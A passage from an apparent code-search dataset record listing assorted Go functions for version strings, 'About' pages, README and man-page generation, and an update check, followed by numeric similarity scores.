err\n}", "func versionBanner() string {\n\treturn fmt.Sprintf(\" %s %s\", APP, version)\n}", "func (c *RBController) About(w http.ResponseWriter, r *http.Request) (err error) {\n\tc.HTML(w, http.StatusOK, \"about\", nil)\n\treturn nil\n}", "func versionTitle(width int) string {\n\treturn \"⣿\" + versionBanner() + pad.Left(versionAuthor(), width-len(versionBanner()), \" \")\n}", "func (x *Rest) VersionInfo(w http.ResponseWriter, r *http.Request,\n\t_ httprouter.Params) {\n\tvar version int64\n\tvar inq string\n\tvar err error\n\n\t// set base info headers\n\tw.Header().Set(`X-Application-Info`, `EYE Monitoring Profile Server`)\n\tw.Header().Set(`X-Version`, EyeVersion)\n\n\t// parse URL query parameters\n\tif err = r.ParseForm(); err != nil {\n\t\thardInternalError(&w)\n\t\treturn\n\t}\n\n\tif inq = r.Form.Get(`version`); inq != `` {\n\t\tif version, err = strconv.ParseInt(inq, 10, 64); err != nil {\n\t\t\thardInternalError(&w)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\t// version query parameter was not set\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tswitch version {\n\tcase 1:\n\t\tw.WriteHeader(http.StatusNoContent)\n\tcase 2:\n\t\tw.WriteHeader(http.StatusNoContent)\n\tdefault:\n\t\tw.WriteHeader(http.StatusNotImplemented)\n\t}\n}", "func AppVersion() {\n\tif appver != \"\" {\n\t\tfmt.Printf(\"App-Version: %s\\n\", appver)\n\t}\n\tif gitref != \"\" {\n\t\tfmt.Printf(\"Git-Ref: %s\\n\", gitref)\n\t}\n\tif builtby != \"\" {\n\t\tfmt.Printf(\"Built-By: %s\\n\", builtby)\n\t}\n}", "func generateMan(info os.FileInfo, name string) {\n\tcontents, err := ioutil.ReadFile(info.Name())\n\tif err != nil {\n\t\tfmt.Printf(\"Could not read file: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tout := md2man.Render(contents)\n\tif len(out) == 0 {\n\t\tfmt.Println(\"Failed to render\")\n\t\tos.Exit(1)\n\t}\n\tcomplete := filepath.Join(m1Dir, name)\n\tif err := ioutil.WriteFile(complete, out, info.Mode()); err != nil {\n\t\tfmt.Printf(\"Could not write file: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\n\t// Check duplicates (e.g. lu and list-updates)\n\tname = duplicateName(name)\n\tif name != \"\" {\n\t\tcomplete = filepath.Join(m1Dir, name)\n\t\tif err := ioutil.WriteFile(complete, out, info.Mode()); err != nil {\n\t\t\tfmt.Printf(\"Could not write file: %v\\n\", err)\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n}", "func (testStringIdEntity_EntityInfo) GeneratorVersion() int {\n\treturn 2\n}", "func About(ctx *iris.Context) {\n\t// MustRender, same as Render but sends status 500 internal server error if rendering failed\n\tctx.MustRender(\"about.html\", nil)\n}", "func (c TokenCommand) About() alfred.CommandDef {\n\treturn alfred.CommandDef{\n\t\tKeyword: \"token\",\n\t\tDescription: \"Manually enter a Toggl API token\",\n\t\tIsEnabled: config.APIKey == \"\",\n\t\tArg: &alfred.ItemArg{\n\t\t\tKeyword: \"token\",\n\t\t\tMode: alfred.ModeDo,\n\t\t},\n\t}\n}", "func GenerateReadme(name string) string {\n\n\treturn fmt.Sprintf(`# %s\n\n---\nPowered By [Catalyst](https://github.com/kosatnkn/catalyst)`, name)\n}", "func (s *Status) About() AboutResponse {\n\tabout := AboutResponse{\n\t\tName: s.name,\n\t\tDescription: s.description,\n\t\tBuildInfo: buildInfoResponse{Revision: s.revision},\n\t}\n\n\tfor _, l := range s.links {\n\t\tabout.Links = append(about.Links, linkResponse{l.description, l.url})\n\t}\n\tfor _, o := range s.owners {\n\t\tabout.Owners = append(about.Owners, ownerResponse{o.name, o.slack})\n\t}\n\treturn about\n}", "func createDescriptionSection(stepData *config.StepData) string {\n\tlibraryName, binaryName := getNames(stepData.Metadata.Name)\n\n\tdescription := \"\"\n\tdescription += headlineDescription + stepData.Metadata.LongDescription + \"\\n\\n\"\n\tdescription += headlineUsage\n\tdescription += configRecommendation + \"\\n\\n\"\n\tdescription += `!!! tip \"\"` + \"\\n\\n\"\n\t// add Jenkins-specific information\n\tdescription += headlineJenkinsPipeline\n\tdescription += fmt.Sprintf(\"%v```groovy\\n\", spacingTabBox)\n\tdescription += fmt.Sprintf(\"%vlibrary('%s')\\n\\n\", spacingTabBox, libraryName)\n\tdescription += fmt.Sprintf(\"%v%v script: this\\n\", spacingTabBox, stepData.Metadata.Name)\n\tdescription += fmt.Sprintf(\"%v```\\n\\n\", spacingTabBox)\n\n\t// add Azure-specific information if activated\n\tif includeAzure {\n\t\tdescription += headlineAzure\n\t\tdescription += fmt.Sprintf(\"%v```\\n\", spacingTabBox)\n\t\tdescription += fmt.Sprintf(\"%vsteps:\\n\", spacingTabBox)\n\t\tdescription += fmt.Sprintf(\"%v - task: piper@1\\n\", spacingTabBox)\n\t\tdescription += fmt.Sprintf(\"%v name: %v\\n\", spacingTabBox, stepData.Metadata.Name)\n\t\tdescription += fmt.Sprintf(\"%v inputs:\\n\", spacingTabBox)\n\t\tdescription += fmt.Sprintf(\"%v stepName: %v\\n\", spacingTabBox, stepData.Metadata.Name)\n\t\tdescription += fmt.Sprintf(\"%v```\\n\\n\", spacingTabBox)\n\t}\n\n\t// add command line information\n\tdescription += headlineCommandLine\n\tdescription += fmt.Sprintf(\"%v```sh\\n\", spacingTabBox)\n\tdescription += fmt.Sprintf(\"%v%s %v\\n\", spacingTabBox, binaryName, stepData.Metadata.Name)\n\tdescription += fmt.Sprintf(\"%v```\\n\\n\", spacingTabBox)\n\n\tdescription += stepOutputs(stepData)\n\treturn description\n}", "func VersionCar() string {\n\tversions()\n\tmessage := \"Aayez anhy Version ya Amar?\\n\"\n\n\tfor key, _ := range CarVersionMap {\n\t\tfmt.Println(key)\n\t\tmessage += \" \" + key + \" ,\\n\"\n\t}\n\treturn message\n\n}", "func infohandler(w http.ResponseWriter, r *http.Request) {\n\n\t// Get the hostname using a call to os package\n\thostname, _ := os.Hostname()\n\tfmt.Fprintf(w, \"Hostname: %s \\n\", hostname)\n\tfmt.Fprintf(w, \"Version: %s\", version)\n\n}", "func (ver Version) String() string {\n\tif ver.RawVersion != \"\" {\n\t\treturn ver.RawVersion\n\t}\n\tv := fmt.Sprintf(\"v%d.%d.%d\", ver.Major, ver.Minor, ver.Patch)\n\tif ver.PreRelease != \"\" {\n\t\tv += \"-\" + ver.PreRelease\n\t}\n\tif ver.GitHash != \"\" {\n\t\tv += \"(\" + ver.GitHash + \")\"\n\t}\n\t// TODO: Add metadata about the commit or build hash.\n\t// See https://golang.org/issue/29814\n\t// See https://golang.org/issue/33533\n\tvar metadata = strings.Join(ver.MetaData, \".\")\n\tif strings.Contains(ver.PreRelease, \"devel\") && metadata != \"\" {\n\t\tv += \"+\" + metadata\n\t}\n\treturn v\n}", "func genFile() {\n\tout, _ := exec.Command(\"go\", \"version\").Output()\n\toutString := string(out[13:17])\n\n\ttestfile := goPack{\n\t\tGoVersion: outString}\n\n\terr := saveFile(testfile)\n\tcheck(err, \"Failed to generate gopack.yml\")\n\n\tfmt.Println(\"Created gopack.yml\")\n}", "func (v Version) String() string {\n\tvs := fmt.Sprintf(\"%d.%d.%d\", v.major, v.minor, v.patch)\n\tif len(v.preRelease) > 0 {\n\t\tvs += \"-\" + v.PreRelease()\n\t}\n\tif len(v.metadata) > 0 {\n\t\tvs += Metadata + v.Metadata()\n\t}\n\treturn vs\n}", "func Info(mi models.MarketInfo, ratio float64, blocks int64) *genModels.Info {\n\tp := mi.GetPrice()\n\tp24 := mi.GetPriceChange()\n\tratioInPercent := ratio * 100\n\tvol := mi.GetVolume()\n\tmc := mi.GetMarketCap()\n\treturn &genModels.Info{\n\t\tPrice: &p,\n\t\tPrice24hChange: &p24,\n\t\tStakingRatio: &ratioInPercent,\n\t\tAnnualYield: annualYield,\n\t\tMarketCap: mc,\n\t\tVolume24h: vol,\n\t\tCirculatingSupply: mi.GetSupply(),\n\t\tBlocksInCycle: blocks,\n\t}\n}", "func getVersion() string {\n\tif metadata == \"\" {\n\t\treturn version\n\t}\n\treturn version + \"-\" + metadata\n}", "func DisplayVersion() {\n\tfmt.Printf(`package: %s\nversion: %s\nrevision: %s\n`, Package, Version, Revision)\n}", "func (testEntityRelated_EntityInfo) GeneratorVersion() int {\n\treturn 2\n}", "func revisionHeader(desc *revisionDesc) string {\n\theader := desc.revision.Name\n\tif desc.latestTraffic != nil && *desc.latestTraffic {\n\t\theader = fmt.Sprintf(\"@latest (%s)\", desc.revision.Name)\n\t} else if desc.latestReady {\n\t\theader = desc.revision.Name + \" (current @latest)\"\n\t} else if desc.latestCreated {\n\t\theader = desc.revision.Name + \" (latest created)\"\n\t}\n\tif desc.tag != \"\" {\n\t\theader = fmt.Sprintf(\"%s #%s\", header, desc.tag)\n\t}\n\treturn header + \" \" +\n\t\t\"[\" + strconv.Itoa(desc.configurationGeneration) + \"]\" +\n\t\t\" \" +\n\t\t\"(\" + commands.Age(desc.revision.CreationTimestamp.Time) + \")\"\n}", "func printMan() {\n\tfmt.Println(\n\t\tman.Generate(\n\t\t\tgenUsage(),\n\t\t\tgenAbout(\"\"),\n\t\t),\n\t)\n}", "func printMan() {\n\tfmt.Println(\n\t\tman.Generate(\n\t\t\tgenUsage(),\n\t\t\tgenAbout(\"\"),\n\t\t),\n\t)\n}", "func PrintInfo() {\n\tPrint(GreenText(LibraryInfo()))\n}", "func Version(remote, detail bool) {\n\n\tdefer func() {\n\t\tif err := recover(); err != nil {\n\t\t\tmsg := fmt.Sprintf(\"'%v' an error has occurred. please check. \\nError: \", \"gnvm version -r\")\n\t\t\tError(ERROR, msg, err)\n\t\t\tos.Exit(0)\n\t\t}\n\t}()\n\n\tlocalVersion, arch := config.VERSION, \"32 bit\"\n\tif runtime.GOARCH == \"amd64\" {\n\t\tarch = \"64 bit\"\n\t}\n\n\tcp := CP{Red, true, None, true, \"Kenshin Wang\"}\n\tcp1 := CP{Red, true, None, true, \"fallenwood\"}\n\tP(DEFAULT, \"Current version %v %v.\", localVersion, arch, \"\\n\")\n\tP(DEFAULT, \"Copyright (C) 2014-2016 %v <[email protected]>\", cp, \"\\n\")\n\tP(DEFAULT, \"Copyright (C) 2022 %v <[email protected]>\", cp1, \"\\n\")\n\tcp.FgColor, cp.Value = Blue, \"https://github.com/fallenwood/gnvm\"\n\tP(DEFAULT, \"See %v for more information.\", cp, \"\\n\")\n\n\tif !remote {\n\t\treturn\n\t}\n\n\tcode, res, err := curl.Get(\"http://ksria.com/gnvm/CHANGELOG.md\")\n\tif code != 0 {\n\t\tpanic(err)\n\t}\n\tdefer res.Body.Close()\n\n\tversionFunc := func(content string, line int) bool {\n\t\tif content != \"\" && line == 1 {\n\t\t\tarr := strings.Fields(content)\n\t\t\tif len(arr) == 2 {\n\n\t\t\t\tcp := CP{Red, true, None, true, arr[0][1:]}\n\t\t\t\tP(DEFAULT, \"Latest version %v, publish data %v\", cp, arr[1], \"\\n\")\n\n\t\t\t\tlatestVersion, msg := arr[0][1:], \"\"\n\t\t\t\tlocalArr, latestArr := strings.Split(localVersion, \".\"), strings.Split(latestVersion, \".\")\n\n\t\t\t\tswitch {\n\t\t\t\tcase latestArr[0] > localArr[0]:\n\t\t\t\t\tmsg = \"must be upgraded.\"\n\t\t\t\tcase latestArr[1] > localArr[1]:\n\t\t\t\t\tmsg = \"suggest to upgrade.\"\n\t\t\t\tcase latestArr[2] > localArr[2]:\n\t\t\t\t\tmsg = \"optional upgrade.\"\n\t\t\t\t}\n\n\t\t\t\tif msg != \"\" {\n\t\t\t\t\tP(NOTICE, msg+\" Please download latest %v from %v\", \"gnvm.exe\", \"https://github.com/kenshin/gnvm\", \"\\n\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t\tif line > 2 && detail {\n\t\t\tP(DEFAULT, content)\n\t\t}\n\n\t\treturn false\n\t}\n\n\tif err := curl.ReadLine(res.Body, versionFunc); err != nil && err != io.EOF {\n\t\tpanic(err)\n\t}\n}", "func (bvm *BVM) GenerateReadMe(name string) {\n\tf, _ := os.Create(name)\n\tdefer f.Close()\n\tf.WriteString(\"# \" + bench.Name + \" (\" + bench.Author + \")\\n\")\n\tf.WriteString(bench.Description + \"\\n\")\n\n\tfor _, c := range bench.categories {\n\t\tf.WriteString(\"## \" + c.name + \"\\n\")\n\t\tf.WriteString(\"### \" + c.description + \"\\n\")\n\t\tf.WriteString(\"| \" + \"Opcode\")\n\t\tf.WriteString(\"| \" + \"Description\")\n\t\tf.WriteString(\"| \" + \"Oxygen\")\n\t\tf.WriteString(\"|\\n\")\n\t\tfor _, v := range c.specs {\n\t\t\tf.WriteString(\"| \" + string(v.Opcode))\n\t\t\tf.WriteString(\"| \" + v.description)\n\t\t\tf.WriteString(\"| \" + strconv.Itoa(v.oxygen))\n\t\t\tf.WriteString(\"|\\n\")\n\t\t}\n\t}\n\tf.Sync()\n}", "func newVer(major, minor, patch uint8) Version {/* Release 1.0.1, update Readme, create changelog. */\n\treturn Version(uint32(major)<<16 | uint32(minor)<<8 | uint32(patch))\n}" ]
[ "0.8218457", "0.6725305", "0.6665721", "0.6322846", "0.62238806", "0.61022305", "0.6076054", "0.6026096", "0.6021514", "0.6009816", "0.5996698", "0.59879005", "0.59854835", "0.587912", "0.5858202", "0.584068", "0.5830515", "0.5756458", "0.57129806", "0.5682438", "0.5669994", "0.56650025", "0.56463504", "0.56441385", "0.56306124", "0.56259054", "0.56160104", "0.55962694", "0.55926526", "0.5568791", "0.5564906", "0.5563626", "0.5558257", "0.5553687", "0.55502933", "0.5549786", "0.5547955", "0.5543645", "0.5524802", "0.55148786", "0.5513131", "0.551114", "0.5499709", "0.5469811", "0.5422586", "0.5413983", "0.5412668", "0.5406845", "0.54028225", "0.5401271", "0.53981966", "0.53587484", "0.53587484", "0.53475434", "0.5340259", "0.5335817", "0.53236073", "0.53221536", "0.532214", "0.53153193", "0.53145915", "0.53003746", "0.52997106", "0.5297072", "0.5295421", "0.5288681", "0.5285365", "0.52823997", "0.5281043", "0.5277984", "0.5267881", "0.52647513", "0.5257186", "0.5243335", "0.5234936", "0.52334076", "0.52195984", "0.52160054", "0.5197883", "0.5192958", "0.51871836", "0.5174408", "0.5173612", "0.5171116", "0.51605725", "0.51594496", "0.51543564", "0.515147", "0.5149603", "0.51455045", "0.51423615", "0.5134737", "0.51320565", "0.51279444", "0.51228446", "0.51228446", "0.51145613", "0.51097894", "0.50953025", "0.50950134" ]
0.8162136
1